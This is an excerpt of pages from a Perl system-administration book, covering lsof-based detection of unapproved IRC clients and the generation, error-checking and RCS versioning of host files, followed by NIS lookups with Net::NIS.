$lsofflag = "-FL0c -iTCP:6660-7000";

# this is a hash slice being used to preload a hash table, the
# existence of whose keys we'll check later. Usually this gets written
# like this:
#     %approvedclients = ("ircII" => undef, "xirc" => undef, ...);
# (but this is a cool idiom popularized by Mark-Jason Dominus)
@approvedclients{"ircII","xirc","pirc"} = (  );

open(LSOF,"$lsofexec $lsofflag|") or
  die "Unable to start $lsof:$!\n";

while(<LSOF>){
    ($pid,$command,$login) = /p(\d+)\000
                              c(.+)\000
                              L(\w+)\000/x;
  warn "$login using an unapproved client called $command (pid $pid)!\n"
      unless (exists $approvedclients{$command});
}

close(LSOF);

This is the simplest check we can make. It will catch users who rename eggdrop to pine or -tcsh, and it will catch those users who don't even attempt to hide their bot, but it suffers from a similar flaw to our other approach. If a user is smart enough, she or he may rename their bot to something on our "approved clients" list. To continue the cat-and-mouse game we could take at least two more steps:

  • Use lsof to check that the file opened for that executable really is the file we expect it to be, and not some random binary in a user filesystem.

  • Use our process control methods to check that the user is running this program from an existing shell. If this is the only process running for a user (i.e., they've logged off but still left it running), it is probably a daemon and hence a bot.

This cat-and-mouse game brings us to a point that will help wrap up the chapter. In Chapter 3, "User Accounts", we mentioned that users are fundamentally unpredictable. They do things systems administrators don't anticipate. There is an old saying: "Nothing is foolproof because fools are so ingenious." It is important to come to grips with this fact as you program Perl for user administration. You'll write more robust programs as a result. When one of your programs goes "blooey" because a user did something unexpected, you'll be able to sit back calmly and admire the ingenuity.

Previous | Home | Next
4.3. Unix Process Control | Book Index | 4.5. Module Information for This Chapter
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Module Information for This Chapter (Perl for System Administration)

 Perl for System AdministrationSearch this book

4.5. Module Information for This Chapter

Module | CPAN ID | Version
Mac::Processes (ships with MacPerl; a modified version is available in the Mac-Glue package) | CNANDOR | 1.01
Win32::API |  | 0.011
Win32::ISync (found at http://www.generation.net/~aminer/Perl/) |  | 1.11
Win32::IProc (found at http://www.generation.net/~aminer/Perl/) |  | 1.32
Win32::Setupsup (found at ftp://ftp.roth.net/pub/NTPerl/Others/SetupSup/ or http://Jenda.Krynicky.cz) |  | 980320
Win32::Lanman (found at ftp://ftp.roth.net/pub/ntperl/Others/Lanman/) |  | 1.05
Win32::OLE (ships with ActiveState Perl) | JDB | 1.11
Proc::ProcessTable | DURIST | 0.26
Win32::AdvNotify (found at http://www.generation.net/~aminer/Perl/) |  | 1.01
Data::Dumper | GSAR | 2.101
Win32::IpHelp (found at http://www.generation.net/~aminer/Perl/) |  | 1.02
Text::Wrap (ships with Perl) | MUIR | 98.112902

4.5.1. Installing Win32::IProc

Getting and installing Win32::IProc is a little less straightforward than with other modules. The module itself can be found along with Ramdane's other modules at http://www.generation.net/~aminer/Perl/. To make use of Win32::IProc, you will also need to get two other modules: Ramdane's Win32::ISync, and Win32::API by Aldo Calpini. The former can be found at Ramdane's site, the latter in the ActiveState module repository or at http://dada.perl.it/.

Some of Ramdane's modules are installed by hand, without the help of the ppm command, and require some minor source code edits. Here's a complete recipe for installation, assuming you have unzipped the distributions and are installing into an ActiveState build that lives in C:\Perl:

  1. ppminstall Win32-API

  2. md c:\Perl\site\lib\auto\Win32\Sync and C:\Perl\site\lib\auto\Win32\Iproc

  3. Copy timer.dll and sync.dll to c:\Perl\site\lib\auto\Win32\Sync

  4. Copy iprocnt.dll, psapi.dll and iproc.dll to C:\Perl\site\lib\auto\Win32\Iproc

  5. Copy iproc.pm, iipc.pm and isync.pm to C:\Perl\site\lib\Win32\

  6. Change the DLLPath lines in iproc.pm to look like this:

    my($DLLPath) ="C:\\Perl\\site\\lib\\auto\\Win32\\Iproc\\IProc.dll";
my($DLLPath1)="C:\\Perl\\site\\lib\\auto\\Win32\\Iproc\\IprocNT.dll";
my($DLLPath2)="C:\\Perl\\site\\lib\\auto\\Win32\\Sync\\Sync.dll";

  7. Change the DLLPath line in iipc.pm to:

    my($DLLPath)="C:\\Perl\\site\\lib\\auto\\Win32\\Sync\\sync.dll";

  8. Change the DLLPath lines in isync.pm to:

    my($DLLPath) ="C:\\Perl\\site\\lib\\auto\\Win32\\Sync\\sync.dll";
my($DLLPath1)="C:\\Perl\\site\\lib\\auto\\Win32\\Sync\\timer.dll";

4.5.2. Installing Win32::Setupsup

If you want to install Win32::Setupsup by hand and/or gaze at the source code, you can find a ZIP archive of the module at ftp://ftp.roth.net/pub/NTPerl/Others/SetupSup/. If you'd prefer to install it the easy way on an ActiveState installation, you can connect to Jenda Krynicky's module archive and install it using the usual ppm method. For instructions on how to do this, see the instructions (and other useful modules) at http://Jenda.Krynicky.cz.

The tricky part is that the pod documentation does not format its information correctly when it is processed by perldoc or when installed as HTML. The documentation at the end of setupsup.pm (most likely found in <your Perl directory>\site\lib\Win32\) is much more legible. If you are trying to learn how to use this module, I would recommend opening this file up in an editor and then scanning for the documentation portions.

Previous | Home | Next
4.4. Tracking File and Network Operations | Book Index | 4.6. References for More Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


References for More Information (Perl for System Administration)

 Perl for System AdministrationSearch this book

4.6. References for More Information

http://pudget.net/macperl is the home of Chris Nandor's Perl modules. Nandor is one of the most active developers of MacPerl modules (and co-author of the book cited below).

http://www.activestate.com/support/mailing_lists.htmhosts the Perl-Win32-Admin and Perl-Win32-Users mailing lists. Both lists and their archives are invaluable resources for Win32 programmers.

http://www.microsoft.com/management is the home for all of Microsoft's management technologies, including WMI.

http://www.sysinternals.com is home of the nthandle program (called just Handle on that site) and many other valuable NT/2000 utilities. It has a sister site, http://www.winternals.com, which sells excellent commercial utilities.

MacPerl:Power and Ease, by Vicki Brown and Chris Nandor (Prime Time Freeware, 1998) is the best book for information on MacPerl modules. The publisher also has a web site at http://www.macperl.com that is very useful.

http://www.dmtf.org is the home of the Distributed Management Task Force and a good source for WBEM information.

http://www.mspress.com are the publishers of the Microsoft NT Resource kit. They also offer a subscription services that provides access to the latest RK utilities.

Previous | Home | Next
4.5. Module Information for This Chapter | Book Index | 5. TCP/IP Name Services
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


TCP/IP Name Services (Perl for System Administration)

 Perl for System AdministrationSearch this book

Chapter 5. TCP/IP Name Services

Contents:

Host Files
NIS, NIS+, and WINS
Domain Name Service (DNS)
Module Information for This Chapter
References for More Information

The majority of the conversations between computers these days take place using a protocol called Transmission Control Protocol running over a lower layer called Internet Protocol.[1] These two protocols are commonly lumped together into the acronym TCP/IP. Every machine that participates on a TCP/IP network must be assigned at least one unique numeric identifier, called an IP address. IP addresses are usually written using the form NNN.NNN.N.N, e.g., 192.168.1.9.

[1]This chapter will be discussing IPv4, the current (deployed) standard. IPv6 (the next generation of IP) will probably replace it in due course.

While machines are content to call each other by strings of dot-separated numbers, most people are less enamored by this idea. TCP/IP would have fallen flat on its face as a protocol if users had to remember a unique 12-digit sequence for every machine they wanted to contact. Mechanisms had to be invented to manage and distribute an IP address to human-friendly name mappings.

This chapter describes the evolution of the network name services that allow us to access data at www.oog.org instead of at 192.168.1.9, and what takes place behind the scenes. Along the way we combine a dash of history with a healthy serving of practical advice on how Perl can help to manage this crucial part of any networking infrastructure.

5.1. Host Files

The first approach used to solve the problem of mapping IP addresses to names was the most obvious and simple one: a standard file was created to hold a table of IP addresses and their corresponding computer names. This file can be found as /etc/hosts on Unix systems, Macintosh HD:System Folder:Preferences:hosts on Macs, and \$systemroot$\System32\Drivers\Etc\hosts on NT/2000 machines. On NT/2000 there is also an lmhosts file that serves a slightly different purpose, which we'll talk about later. Here's an example Unix-style host file:

127.0.0.1     localhost
192.168.1.1   everest.oog.org     everest
192.168.1.2   rivendell.oog.org   rivendell

The limitations of this approach become clear very quickly. If oog.org 's network manager has two machines on a TCP/IP network that communicate with each other, and she wants to add a third which will be addressed by name, she's got to edit the correct file on all of her machines. If oog.org buys yet another machine, there are now four separate host files to be maintained (one on each machine).

As untenable as this may seem, this is what actually happened during the early days of the Internet/ARPAnet. As new sites were connected, every site on the net that wished to talk with the new site needed to update their host files. The central host repository, known as the Network Information Center (NIC) (or more precisely the SRI-NIC, since it was housed at SRI at the time), updated and published a host file for the entire network called HOSTS.TXT. System administrators would anonymously FTP this file from SRI-NIC's NETINFO directory on a regular basis.

Host files are still in use today, despite their limitations and the replacements we'll be talking about later in this chapter. There are some situations where host files are even mandatory. For example, under SunOS, a machine consults its /etc/hosts file to determine its own IP address. Host files also solve the "chicken and egg" problem encountered while a machine boots. If the network name servers that machine will be using are specified by name, there must be some way to determine their IP addresses. But if the network name service isn't operational yet, there's no way (unless it broadcasts for help) to receive this information. The usual solution is to place a stub file (with just a few hosts) in place for booting purposes.

On a small network, having an up-to-date host file that includes all of the hosts on that network is useful. It doesn't even have to reside on each machine in that network to be helpful (since the other mechanisms we'll describe later do a much better job of distributing this information). Just having one around that can be consulted is handy for quick manual lookups and address allocation purposes.

Since these files are still a part of everyday administration, let's look at better ways to manage them. Perl and host files are a natural match, given Perl's predilection for text file processing. Given their affinity for each other, we're going to use the simple host file as a springboard for a number of different explorations.

Let's look at the parsing of host files. Parsing a host file can be a simple as this:

open(HOSTS, "/etc/hosts") or die "Unable to open host file:$!\n";
while (defined ($_ = <HOSTS>)) {
    next if /^#/;  # skip comments lines
    next if /^$/;  # skip empty lines
    s/\s*#.*$//;  # delete in-line comments and preceding whitespace
    ($ip, @names) = split;
    die "The IP address $ip already seen!\n" if (exists $addrs{$ip});
    $addrs{$ip} = [@names];
    for (@names){
        die "The host name $_ already seen!\n" if (exists $names{$_});
        $names{$_} = $ip;
    }
}
close(HOSTS);

The previous code walks through an /etc/hosts file (skipping blank lines and comments), creating two data structures for later use. The first data structure is a hash of lists of hostnames keyed by the IP address. For the host file above, the data structure created would look like this:

$addrs{'127.0.0.1'} = ['localhost'];
$addrs{'192.168.1.2'} = ['rivendell.oog.org','rivendell'];
$addrs{'192.168.1.1'} = ['everest.oog.org','everest'];

The second is a hash table of host names, keyed by the name. For the same file, the %names hash would look like this:

$names{'localhost'}='127.0.0.1'
$names{'everest'}='192.168.1.1'
$names{'everest.oog.org'}='192.168.1.1'
$names{'rivendell'}='192.168.1.2'
$names{'rivendell.oog.org'}='192.168.1.2'

Note that in the simple process of parsing this file, we've also added some additional functionality. Our code checks for duplicate host names and IP addresses (both bad news on a TCP/IP network). When dealing with network-related data, use every opportunity possible to check for errors and bad information. It is always better to catch problems early in the game than to be bitten by them once the data has been propagated to your entire network. Because it is so important, I'll return to this topic later in the chapter

5.1.1. Generating Host Files

Now we turn to the more interesting topic of generating host files. Let's assume we have the following host database file for the hosts on our network:

name: shimmer
address: 192.168.1.11
aliases: shim shimmy shimmydoodles
owner: David Davis
department: software
building: main
room: 909
manufacturer: Sun
model: Ultra60
-=-
name: bendir
address: 192.168.1.3
aliases: ben bendoodles
owner: Cindy Coltrane
department: IT
building: west
room: 143
manufacturer: Apple
model: 7500/100
-=-
name: sulawesi
address: 192.168.1.12
aliases: sula su-lee
owner: Ellen Monk
department: design
building: main
room: 1116
manufacturer: Apple
model: 7500/100
-=-
name: sander
address: 192.168.1.55
aliases: sandy micky mickydoo
owner: Alex Rollins
department: IT
building: main
room: 1101
manufacturer: Intergraph
model: TD-325
-=-

The format is simple: fieldname: value with -=- used as a separator between records. You might find you need other fields than those listed above, or have too many records to make it practical to keep in a single flat file. Though we are using a single flat file, the concepts we'll show in this chapter are not backend-specific.

Here's some code that will parse a file like this to generate a host file:

$datafile ="./database";
$recordsep = "-=-\n";

open(DATA,$datafile) or die "Unable to open datafile:$!\n";

$/=$recordsep; # prepare to read in database file one record at a time

print "#\n\# host file - GENERATED BY $0\n# DO NOT EDIT BY HAND!\n#\n";
while (<DATA>) {
    chomp;                           # remove the record separator
    # split into key1,value1,...bingo, hash of record
    %record = split /:\s*|\n/m;
    print "$record{address}\t$record{name} $record{aliases}\n";
}
close(DATA);

Here's the output:

#
# host file - GENERATED BY createhosts
# DO NOT EDIT BY HAND!
#
192.168.1.11    shimmer shim shimmy shimmydoodles
192.168.1.3     bendir ben bendoodles
192.168.1.12    sulawesi sula su-lee
192.168.1.55    sander sandy micky mickydoo.

Got "System Administration Database" Religion Yet?

In Chapter 3, "User Accounts", I made an impassioned plea for the use of a separate administrative database to track account information. The same arguments are doubly true for network host data. In this chapter we're going to demonstrate how even a simple flat-file host database can be manipulated to produce impressive output that drives each of the services we'll be discussing. For larger sites, a "real" database would serve well. If you'd like to see an example of this output, take a quick glance ahead at the output at the end of the Section 5.1.3, "Improving the Host File Output" section, later in this chapter.

The host database approach is beautiful for a number of reasons. Changes need to be made only to a single file or data source. Make the changes, run some scripts, and presto!, we've generated the configuration files needed for a number of services. These configuration files are significantly less likely to contain small syntax errors (like missing semicolons or comment characters) because they won't be touched by human hands. If we write our code correctly, we can catch most of the other possible errors during the parse stage.

If you haven't seen the wisdom of this "best practice" yet, you will by the end of the chapter.

Let's look at a few of the more interesting Perl techniques in this small code sample. The first unusual thing we do is set $/. From that point on, Perl treats chunks of text that end in -=-\n as a single record. This means the while statement will read in an entire record at a time and assign it to $_.

The second interesting tidbit is the split assign technique. Our goal is to get each record into a hash with a key as the field name and its value as the field value. You'll see why we go to this trouble later as we develop this example further. The first step is to break $_ into component parts using split( ). The array we get back from split( ) is shown in Table 5-1.

Table 5.1. The Array Returned by split()

Element | Value
$record[0] | name
$record[1] | shimmer
$record[2] | address
$record[3] | 192.168.1.11
$record[4] | aliases
$record[5] | shim shimmy shimmydoodles
$record[6] | owner
$record[7] | David Davis
$record[8] | department
$record[9] | software
$record[10] | building
$record[11] | main
$record[12] | room
$record[13] | 909
$record[14] | manufacturer
$record[15] | Sun
$record[16] | model
$record[17] | Ultra60

Now take a good look at the contents of the list. Starting at $record[0], we have a key-value pair list (i.e., key=Name, value=shimmer\n, key=Address, value=192.168.1.11\n...) which we can just assign to populate a hash. Once this hash is created, we can print the parts we need.

5.1.2. Error Checking the Host File Generation Process

Printing the parts we need is just the beginning of what we can do. One very large benefit of using a separate database that gets converted into another form is the ability to insert error checking into the conversion process. As we mentioned before, this can prevent simple typos from becoming a problem before they get a chance to propagate or be put into production use. Here's the previous code with some simple additions to check for typos:

$datafile ="./database";
$recordsep = "-=-\n";

open(DATA,$datafile) or die "Unable to open datafile:$!\n";

$/=$recordsep; # prepare to read in database file one record at a time

print "#\n\# host file - GENERATED BY $0\n# DO NOT EDIT BY HAND!\n#\n";
while (<DATA>) {
    chomp;  # remove the record separator
    # split into key1,value1,...bingo, hash of record
    %record = split /:\s*|\n/m;
# check for bad hostnames
if ($record{name} =~ /[^-.a-zA-Z0-9]/) {
warn "!!!! $record{name} has illegal host name characters,
skipping...\n";
next;
}

# check for bad aliases

if ($record{aliases} =~ /[^-.a-zA-Z0-9\s]/) {

warn "!!!! $record{name} has illegal alias name characters,

skipping...\n";

next;

}

# check for missing address

if (!$record{address}) {

warn "!!!! $record{name} does not have an IP address,

skipping...\n";

next;

}

# check for duplicate address

if (defined $addrs{$record{address}}) {

warn "!!!! Duplicate IP addr: $record{name} &

$addrs{$record{address}}, skipping...\n";

next;

}

else {

$addrs{$record{address}} = $record{name};

}

    print "$record{address}\t$record{name} $record{aliases}\n";
}
close(DATA);

5.1.3. Improving the Host File Output

Let's borrow from Chapter 9, "Log Files", and add some analysis to the conversion
process. We can automatically add useful headers, comments, and
separators to the data. Here's an example output using the
exact same database:

#
# host file - GENERATED BY createhosts3
# DO NOT EDIT BY HAND!
#
# Converted by David N. Blank-Edelman (dnb) on Sun Jun  7 00:43:24 1998
#
# number of hosts in the design department: 1.
# number of hosts in the software department: 1.
# number of hosts in the IT department: 2.
# total number of hosts: 4
#

# Owned by Cindy Coltrane (IT): west/143
192.168.1.3     bendir ben bendoodles

# Owned by Alex Rollins (IT): main/1101
192.168.1.55    sander sandy micky mickydoo

# Owned by Ellen Monk (design): main/1116
192.168.1.12    sulawesi sula su-lee

# Owned by David Davis (software): main/909
192.168.1.11    shimmer shim shimmy shimmydoodles

Here's the code that produced that output, followed by some
commentary:

$datafile ="./database";

# get username on either WinNT/2000 or Unix
$user = ($^O eq "MSWin32")? $ENV{USERNAME} :
                            (getpwuid($<))[6]." (".(getpwuid($<))[0].")";

open(DATA,$datafile) or die "Unable to open datafile:$!\n";

$/=$recordsep; # read in database file one record at a time

while (<DATA>) {
    chomp;                           # remove the record separator
    # split into key1,value1
    @record = split /:\s*|\n/m;

    $record ={};                     # create a reference to empty hash
    %{$record} = @record;            # populate that hash with @record

    # check for bad hostname
    if ($record->{name} =~ /[^-.a-zA-Z0-9]/) {
        warn "!!!! ".$record->{name} .
             " has illegal host name characters, skipping...\n";
        next;
    }

    # check for bad aliases
    if ($record->{aliases} =~ /[^-.a-zA-Z0-9\s]/) {
        warn "!!!! ".$record->{name} .
             " has illegal alias name characters, skipping...\n";
        next;
    }

    # check for missing address
    if (!$record->{address}) {
        warn "!!!! ".$record->{name} .
             " does not have an IP address, skipping...\n";
        next;
    }

    # check for duplicate address
    if (defined $addrs{$record->{address}}) {
        warn "!!!! Duplicate IP addr:".$record->{name}.
             " & ".$addrs{$record->{address}}.", skipping...\n";
        next;
    }
    else {
        $addrs{$record->{address}} = $record->{name};
    }

    $entries{$record->{name}} = $record; # add this to a hash of hashes
}
close(DATA);

# print a nice header
print "#\n\# host file - GENERATED BY $0\n# DO NOT EDIT BY HAND!\n#\n";
print "# Converted by $user on ".scalar(localtime)."\n#\n";

# count the number of entries in each department and then report on it
foreach my $entry (keys %entries){
    $depts{$entries{$entry}->{department}}++;
}
foreach my $dept (keys %depts) {
    print "# number of hosts in the $dept department: $depts{$dept}.\n";
}
print "# total number of hosts: ".scalar(keys %entries)."\n#\n\n";

# iterate through the hosts, printing a nice comment and the entry itself
foreach my $entry (keys %entries) {
    print "# Owned by ",$entries{$entry}->{owner}," (",
          $entries{$entry}->{department},"): ",
          $entries{$entry}->{building},"/",
          $entries{$entry}->{room},"\n";
    print $entries{$entry}->{address},"\t",
          $entries{$entry}->{name}," ",
          $entries{$entry}->{aliases},"\n\n";
}

The most significant difference between this code example and the
previous one is the data representation. Because there was no need in
the previous example to retain the information from a record after it
had been printed, we could use the single hash
%record. But for this code, we chose to read the
file into a slightly more complex data structure (a hash of hashes)
so we could do some simple analysis of the data before printing it.

We could have kept a separate hash table for each field (similar to
our needspace example in Chapter 2, "Filesystems"), but the beauty of this approach is its
maintainability. If we decide later on to add a
serial_number field to the database, we do not
need to change our program's parsing code; it will just
magically appear as $record->{serial_number}.
The downside is that Perl's syntax probably makes our code look
more complex than it is.

Here's an easy way to look at it: we're parsing the file
in precisely the same way we did in the last example. The difference
is this time we are storing each record in a newly-created anonymous
hash. Anonymous hashes are just like normal hash variables except
they are accessed through a reference, instead of a name.

To create our larger data structure (a hash of hashes), we link this
new anonymous hash back into the main hash table
%entries. We created a key with an associated
value that is the reference to the anonymous hash we've just
populated. Once we are done, %entries has a key
for each machine's name and a value that is a reference to a
hash table containing all of the fields associated with that machine
name (IP address, room, etc.).

Perhaps you'd prefer to see the output sorted by IP address? No
problem, just include a custom sort routine by changing:

foreach my $entry (keys %entries) {

to:

foreach my $entry (sort byaddress keys %entries) {

and adding:

sub byaddress {
   @a = split(/\./,$entries{$a}->{address});
   @b = split(/\./,$entries{$b}->{address});
   ($a[0]<=>$b[0]) ||
   ($a[1]<=>$b[1]) ||
   ($a[2]<=>$b[2]) ||
   ($a[3]<=>$b[3]);
}

Here's the relevant portion of the output, now nicely sorted:

# Owned by Cindy Coltrane (IT): west/143
192.168.1.3     bendir ben bendoodles

# Owned by David Davis (software): main/909
192.168.1.11    shimmer shim shimmy shimmydoodles

# Owned by Ellen Monk (design): main/1116
192.168.1.12    sulawesi sula su-lee

# Owned by Alex Rollins (IT): main/1101
192.168.1.55    sander sandy micky mickydoo

Make the output look good to you. Let Perl support your professional
and aesthetic endeavors.

5.1.4. Incorporating a Source Code Control System

In a moment we're going to move on to the next approach to the
IP Address-to-Name mapping problem. Before we do, we'll want to
add another twist to our host file creation process, because a single
file suddenly takes on network-wide importance. A mistake in this
file will affect an entire network of machines. To give us a safety
net, we'll want a way to back out of bad changes, essentially
going back in time to a prior configuration state.

The most elegant way to build a time
machine like this is to add a source control system to the process.
Source control systems are typically used by developers to:

  •

    Keep a record of all changes to important files

    •

  •

    Prevent multiple people from changing the same file at the same time,
inadvertently undoing each other's efforts

    •

  •

    Allow them to revert back to a previous version of a file, thus
backing out of problems

    •

This functionality is extremely useful to a system administrator. The
error-checking code we added to the conversion process earlier, in
Section 5.1.2, "Error Checking the Host File Generation Process", can help with certain kinds of
typo and syntax errors, but it does not offer any protection against
semantic errors (e.g., deleting an important hostname, assigning the
wrong IP address to a host, misspelling a hostname). You could add
semantic error checks into the conversion process, but you probably
won't catch all of the possible errors. As we've quoted
before, nothing is foolproof, since fools are so ingenious.

You might think it would be better to apply source control system
functionality to the initial database editing process, but there are
two good reasons why it is also important to apply it to the
resultant output:

Time

For large data sets, the conversion process might take some time. If
your network is flaking out and you need to revert to a previous
revision, it's discouraging to have to stare at a Perl process
chugging away to generate the file you need (presuming you can get at
Perl in the first place at that point).

Database

If you choose to use a real database engine for your data storage
(and often this is the right choice), there may not be a convenient
way to apply a source control mechanism like this. You'll
probably have to write your own change control mechanisms for the
database editing process.

My source control
system of choice is the Revision Control System (RCS). RCS has some
Perl- and system administration-friendly
features:

  •

    It is multiplatform. There are ports of GNU RCS 5.7 to most Unix
systems, Windows NT, MacOS, etc.

    •

  •

    It has a well-defined command-line interface. All functions can be
performed from the command line, even on GUI-heavy operating systems

    •

  •

    It is easy to use. There's a small command set for basic
operations that can be learned in five minutes (see Appendix A, "The Five-Minute RCS Tutorial" ).

    •

  •

    It has keywords. Magic strin gs can be embedded in the text of files
under RCS that are automatically expanded. For instance, any
occurrence of $ Date:$ in a file will be replaced
with the date the file was last entered into the RCS
system.

    •

  •

    It's free. The source code for the GNU version of RCS is freely
redistributable, and binaries for most systems are also available. A
copy of the source can be found at ftp://ftp.gnu.org/gnu/rcs.

    •

If you've never dealt with RCS before, please take a moment to
read Appendix A, "The Five-Minute RCS Tutorial". The rest of this section assumes a
cursory knowledge of the RCS command set.

Craig Freter has written an object-oriented module called
Rcs which makes using RCS from Perl easy. The
steps are:

  1.

    Load the module.

    2.

  2.

    Tell the module where your RCS command-line binaries are located.

    3.

  3.

    Create a new Rcs object; configure it with the
name of the file you are using.

    4.

  4.

    Call the necessary object methods (named after their corresponding
RCS commands).

    5.

Let's add this to our host file generation code so you can see
how the module works. Besides the Rcs module code,
we've also changed things so the output is sent to a specific
file and not STDOUT as in our previous versions.
Only the code that has changed is shown. Refer to the previous
example for the omitted lines represented by "...":

$outputfile="hosts.$$"; # temporary output file
$target="hosts";        # where we want the converted data stored
...
open(OUTPUT,"> $outputfile") or
  die "Unable to write to $outputfile:$!\n";

print OUTPUT "#\n\# host file - GENERATED BY $0\n
              # DO NOT EDIT BY HAND!\n#\n";
print OUTPUT "# Converted by $user on ".scalar(localtime)."\n#\n";

...
foreach my $dept (keys %depts) {
    print OUTPUT "# number of hosts in the $dept department:
                  $depts{$dept}.\n";
}
print OUTPUT "# total number of hosts: ".scalar(keys %entries)."\n#\n\n";
# iterate through the hosts, printing a nice comment and the entry
foreach my $entry (sort byaddress keys %entries) {
    print OUTPUT
          "# Owned by ",$entries{$entry}->{owner}," (",
          $entries{$entry}->{department},"): ",
          $entries{$entry}->{building},"/",
          $entries{$entry}->{room},"\n";
    print OUTPUT
          $entries{$entry}->{address},"\t",
          $entries{$entry}->{name}," ",
          $entries{$entry}->{aliases},"\n\n";
}

close(OUTPUT);

use Rcs;

# where our RCS binaries are stored

Rcs->bindir('/usr/local/bin');

# create a new RCS object

my $rcsobj = Rcs->new;

# configure it with the name of our target file

$rcsobj->file($target);

# check it out of RCS (must be checked in already)

$rcsobj->co('-l');

# rename our newly created file into place

rename($outputfile,$target) or

die "Unable to rename $outputfile to $target:$!\n";

# check it in

$rcsobj->ci("-u","-m"."Converted by $user on ".scalar(localtime));

This code assumes the target file has been checked in at least once
already.

To see the effect of this code addition, we can look at three entries
excerpted from the output of rlog hosts:

revision 1.5
date: 1998/05/19 23:34:16;  author: dnb;  state: Exp;  lines: +1 -1
Converted by David N. Blank-Edelman (dnb) on Tue May 19 19:34:16 1998
----------------------------
revision 1.4
date: 1998/05/19 23:34:05;  author: eviltwin;  state: Exp;  lines: +1 -1
Converted by Divad Knalb-Namlede (eviltwin) on Tue May 19 19:34:05 1998
----------------------------
revision 1.3
date: 1998/05/19 23:33:35;  author: dnb;  state: Exp;  lines: +20 -0
Converted by David N. Blank-Edelman (dnb) on Tue May 19 19:33:16 1998

The previous example doesn't show much of a difference between
file versions (see the lines: part of the
entries), but you can see that we are tracking the changes every time
the file gets created. If we needed to, we could use the
rcsdiff command to see exactly what changed. Under
dire circumstances, we would be able to revert to previous versions
if one of these changes had wreaked unexpected havoc on the
network.

Previous | Home | Next
4.6. References for More Information | Book Index | 5.2. NIS, NIS+, and WINS

  Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


NIS, NIS+, and WINS (Perl for System Administration)

 Perl for System AdministrationSearch this book

5.2. NIS, NIS+, and WINS

Developers at Sun Microsystems realized that the "edit one file per machine" approach endemic to host files didn't scale, so they invented something called Yellow Pages (YP). Yellow Pages was designed to distribute all the network-wide configuration file information found in files like /etc/hosts, /etc/passwd, /etc/services, etc. In this chapter, we'll concentrate on its use as a network name service to distribute the machine name-to-IP address mapping information.

YP was renamed Network Information Service, or NIS, in 1990, shortly after British Telecom asserted (with lawyers) that it held the trademark for "Yellow Pages" in the U.K. The ghost of the name "Yellow Pages" still haunts many a Unix box today in the names used for NIS commands and library calls (e.g., ypcat, ypmatch, yppush). All modern Unix variants support NIS. NT machines can be made to use NIS for authentication through the use of special home-brewed authentication libraries,[2] but I know of no NT-based NIS servers. I do not know of any Mac ports of NIS.

[2]One such library is NISGINA, which was originally developed by Nigel Williams; this library can be found at http://www.dcs.qmw.ac.uk/~williams/. Be sure to check the mailing list archives found off that page for information on the latest versions of this software.

In NIS, an administrator designates one or more machines as servers from which other machines will receive client services. One server is the master server, the others slave servers. The master server holds the master copies of the actual text files (e.g., /etc/hosts or /etc/passwd ) all machines normally use. Changes to these files take place on the master and are then propagated to the slave servers.

Any machine on the network that needs hostname-to-IP address mapping information can query a server instead of keeping a local copy of the information. A client can request this information from either the master or any of the slave servers. Client queries are looked up in the NIS maps, another name for the master's data files after they've been converted to the Unix DBM database format and propagated to the slave servers. The details of this conversion process (which involves makedbm and some other random munging) can be found in the Makefile located in /var/yp on most machines. A collection of NIS servers and clients that share the same maps is called an NIS domain.

With NIS, network administration becomes considerably easier. For instance, if oog.org purchases more machines for their network, it is no problem to integrate them into the network. The network manager simply edits the host file on the master NIS server and pushes the new version out to the slave servers. Every client in the NIS domain now "knows" about the new machine. NIS offers one-touch administration ease coupled with some redundancy (if one server goes down, a client can ask another) and load sharing (not all of the clients in a network have to rely on a single server).

With this theory in mind, let's see how Perl can help us with NIS-related tasks. We can start with the process of getting data into NIS. You may be surprised to know that we've already done the work for this task. The host files we created in the previous section can be imported into NIS by just dropping them into place in the NIS master server's source file directory, and activating the usual push mechanisms (usually by typing make in /var/yp). By default, the Makefile in /var/yp uses the contents of the master server's configuration files as the source for the NIS maps.

TIP

It is usually a good idea to set up a separate directory for your NIS map source files, changing the Makefile accordingly. This allows you to keep separate data for your NIS master server and other members of your NIS domain. For example, you might not want to have the /etc/passwd file for your NIS master as the password map for the entire domain, and vice versa.

A more interesting task is getting data out of NIS by querying an NIS server. The easiest way to do this is via Rik Harris' Net::NIS module. This particular module has been in alpha release state since 1995, but it is still quite functional.[3]

[3]There's only one true bug in the a2 version that I know of. The documentation suggests you compare the return status of this module's calls against a set of predefined constants like $Net::NIS::ERR_KEY and $Net::NIS::ERR_MAP. Unfortunately, the module never actually defines these constants. The simplest way to test for a successful query is to examine the returned data's length.

Here's an example of how to grab and print the entire contents of the host map with a single function call using Net::NIS, similar to the NIS command ypcat:

use Net::NIS;
# get our default NIS domain name
$domain = Net::NIS::yp_get_default_domain(  );
# grab the map
($status, $info) = Net::NIS::yp_all($domain,"hosts.byname");
foreach my $name (sort keys %{$info}){
    print "$name => $info->{$name}\n";
}

First we query the local host for its default domain name. With this info, we can call Net::NIS::yp_all() to retrieve the entire hosts map. The function call returns a status variable (bogus, as mentioned in the footnote) and a reference to a hash table containing the contents of that map. We print this information using Perl's usual dereference syntax.

If we want to look up the IP address of a single host, it is more efficient to query the server specifically for that value:

use Net::NIS;
$hostname = "olaf.oog.org";
$domain = Net::NIS::yp_get_default_domain(  );
($status,$info) = Net::NIS::yp_match($domain,"hosts.byname",$hostname);
print $info,"\n";

Net::NIS::yp_match() returns another bogus status variable and the appropriate value (as a scalar) for the info being queried.

If the Net::NIS module does not compile or work for you, there's always the "call an external program method." For example:

@hosts='<path to>/ypcat hosts'

or:

open(YPCAT,"<path to>/ypcat hosts|");
while (<YPCAT>){...}

Let's wind up this section with a useful example of both this technique and Net::NIS in action. This small but handy piece of code will query NIS for the list of NIS servers currently running and query each one of them in turn using the yppoll program. If any of the servers fails to respond properly, it complains loudly:

use Net::NIS;

$yppollex = "/usr/etc/yp/yppoll"; # full path to the yppoll executable

$domain = Net::NIS::yp_get_default_domain(  );

($status,$info) = Net::NIS::yp_all($domain,"ypservers");

foreach my $name (sort keys %{$info}) {
    $answer = '$yppollex -h $name hosts.byname';
    if ($answer !~ /has order number/) {
        warn "$name is not responding properly!\n";
    }
}

5.2.1. NIS+

